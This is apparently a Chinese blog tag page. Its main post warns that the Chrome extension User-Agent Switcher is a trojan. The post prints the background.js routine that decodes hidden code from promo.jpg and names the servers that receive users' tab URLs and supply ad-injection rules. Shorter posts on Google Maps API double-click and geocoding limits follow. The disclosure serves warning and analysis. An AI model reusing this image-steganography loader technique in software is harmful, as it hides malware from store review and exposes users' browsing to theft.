标签 Google 下的文章

Chrome插件User-Agent Switcher为木马程序,请尽快卸载

User-Agent Switcher for Google Chrome
提供方:useragentswitcher.org
此为插件里面包含恶意代码。
useragentswitcher.org提供的插件都不要下载。很是怀疑!

今天打开京东jd.com自动跳转到一些莫名其妙的网站。他会记录你的访问记录并发送到他的服务器(https://uaswitcher.org/logic/page/data)。chrome商店里面从2017年就有人举报此插件有毒。现在2018年年末的Chrome官方还提供下载。可见官方审核并不严格且效率低下。

恶意程序,访问京东jd.com会定时进行跳转 http://rtbs24.com/?target=https%3A%2F%2Fytthn.com%2Fclick-IQL4686A-HFDQCIIE%3Fbt%3D25%26tl%3D1%26sa%3D116%26url%3Dhttps%3A%2F%2Fwww.jd.com%2F,真心垃圾

大家不要用了,这个扩展含有木马。

为了绕过 chrome 的审核策略,他把恶意代码隐藏在了 promo.jpg 里。

然后 background.js 的第 80 行,从 promo.jpg 图片里解密出恶意代码并执行。

包含的行为包括:

会把你打开的每个 tab 的 url 等信息加密发送到 uaswitcher.org/logic/page/data

另外还会从 api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码。

详情讨论见:www.v2ex.com/t/389340

chrome 商店搜索 User-Agent Switcher,排第一的这个插件(45 万用户),是一个木马...

https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake

为了绕过 chrome 的审核策略,他把恶意代码隐藏在了 promo.jpg 里
background.js 的第 80 行,从这个图片里解密出恶意代码并执行

t.prototype.Vh = function(t, e) {
            if ("" === '../promo.jpg') return "";
            void 0 === t && (t = '../promo.jpg'), t.length && (t = r.Wk(t)), e = e || {};
            var n = this.ET,
                i = e.mp || n.mp,
                o = e.Tv || n.Tv,
                h = e.At || n.At,
                a = r.Yb(Math.pow(2, i)),
                f = (e.WC || n.WC, e.TY || n.TY),
                u = document.createElement("canvas"),
                p = u.getContext("2d");
            if (u.style.display = "none", u.width = e.width || t.width, u.height = e.width || t.height, 0 === u.width || 0 === u.height) return "";
            e.height && e.width ? p.drawImage(t, 0, 0, e.width, e.height) : p.drawImage(t, 0, 0);
            var c = p.getImageData(0, 0, u.width, u.height),
                d = c.data,
                g = [];
            if (c.data.every(function(t) {
                    return 0 === t
                })) return "";
            var m, s;
            if (1 === o)
                for (m = 3, s = !1; !s && m < d.length && !s; m += 4) s = f(d, m, o), s || g.push(d[m] - (255 - a + 1));
            var v = "",
                w = 0,
                y = 0,
                l = Math.pow(2, h) - 1;
            for (m = 0; m < g.length; m += 1) w += g[m] << y, y += i, y >= h && (v += String.fromCharCode(w & l), y %= h, w = g[m] >> i - y);
            return v.length < 13 ? "" : (0 !== w && (v += String.fromCharCode(w & l)), v)
        }

会把你打开的每个 tab 的 url 等信息加密发送到 https://uaswitcher.org/logic/page/data
另外还会从 http://api.data-monitor.info/api/bhrule?sub=116 获取推广链接的规则,打开符合规则的网站时,会在页面插入广告甚至恶意代码.
根据 threatbook 上的信息( https://x.threatbook.cn/domain/api.data-monitor.info ),我估计下面的几个插件都是这个作者的作品..
https://chrome.google.com/webstore/detail/nenhancer/ijanohecbcpdgnpiabdfehfjgcapepbm

https://chrome.google.com/webstore/detail/allow-copy/abidndjnodakeaicodfpgcnlkpppapah

https://chrome.google.com/webstore/detail/%D1%81%D0%BA%D0%B0%D1%87%D0%B0%D1%82%D1%8C-%D0%BC%D1%83%D0%B7%D1%8B%D0%BA%D1%83-%D0%B2%D0%BA%D0%BE%D0%BD%D1%82%D0%B0%D0%BA%D1%82%D0%B5/hanjiajgnonaobdlklncdjdmpbomlhoa

https://chrome.google.com/webstore/detail/aliexpress-radar/pfjibkklgpfcfdlhijfglamdnkjnpdeg

这里也有人讨论这个问题 https://news.ycombinator.com/item?id=14889619

Chrome插件User–Agent Switcher恶意代码分析报告

User-Agent Switcher for Google Chrome Virus

https://chrome.google.com/webstore/detail/user-agent-switcher-for-g/ffhkkpnppgnfaobgihpdblnhmmbodake

Google Maps JavaScript API v3 dblclick双击事件冒泡

After registering e.g. a dblclick handler on a Rectangle, how do I 
prevent that event from triggering another handler as well (e.g. map 
zoom)? 

google.maps.event.addListener(area, 'dblclick', function(event) { 
// do something, but don't zoom in! 
}); 

在地图上双击后会触发zoom in。

那么如何停止触发zoom in呢,可以让MapOptions对象的disableDoubleClickZoom设置为true。

但是我们有时候需要双击zoom in,有时候又不需要呢?这个问题已经提交到了gmaps-api-issues的issues里面,不过我的方法是在函数体内写一段错误的js代码。比如某一个不存在的对象的方法。something.method();

gmail和ggreader的新UI不错。

google maps api 报错:OVER_QUERY_LIMIT

google maps api 报错:OVER_QUERY_LIMIT

如果你在for循环里面geocode那我劝你还是算了,不要以为google给你提供了免费的/bandwidth/hosting,不要以为google服务器多如牛毛。但是谁受得鸟你这种粗暴的for循环呢?

参考geocoding usage limits 可知限制如下:

Use of the Google Geocoding API is subject to a query limit of 2,500 geolocation requests per day. (User of Google Maps API Premier may perform up to 100,000 requests per day.) This limit is enforced to prevent abuse and/or repurposing of the Geocoding API, and this limit may be changed in the future without notice. Additionally, we enforce a request rate limit to prevent abuse of the service. If you exceed the 24-hour limit or otherwise abuse the service, the Geocoding API may stop working for you temporarily. If you continue to exceed this limit, your access to the Geocoding API may be blocked.

同时参考:geocoding政策,配额限制

解决方法,我们可以将geocode出来的正确的latitude和longtitude都存到我们自己的数据库,下次就直接用google.map.Marker的position指定latitude和longtitude实现。

  • fetch the latitude+longitude, using the geocoder, when a location is created
  • store those in your database, alongside the address
  • and use those stored latitude+longitude when you want to display the map.

或者试试500ms geocode一个:

You can delay 5 seconds between every 10 calls, subject to change. But your page will load much faster if you use the HTTP geocoder before serving your pages.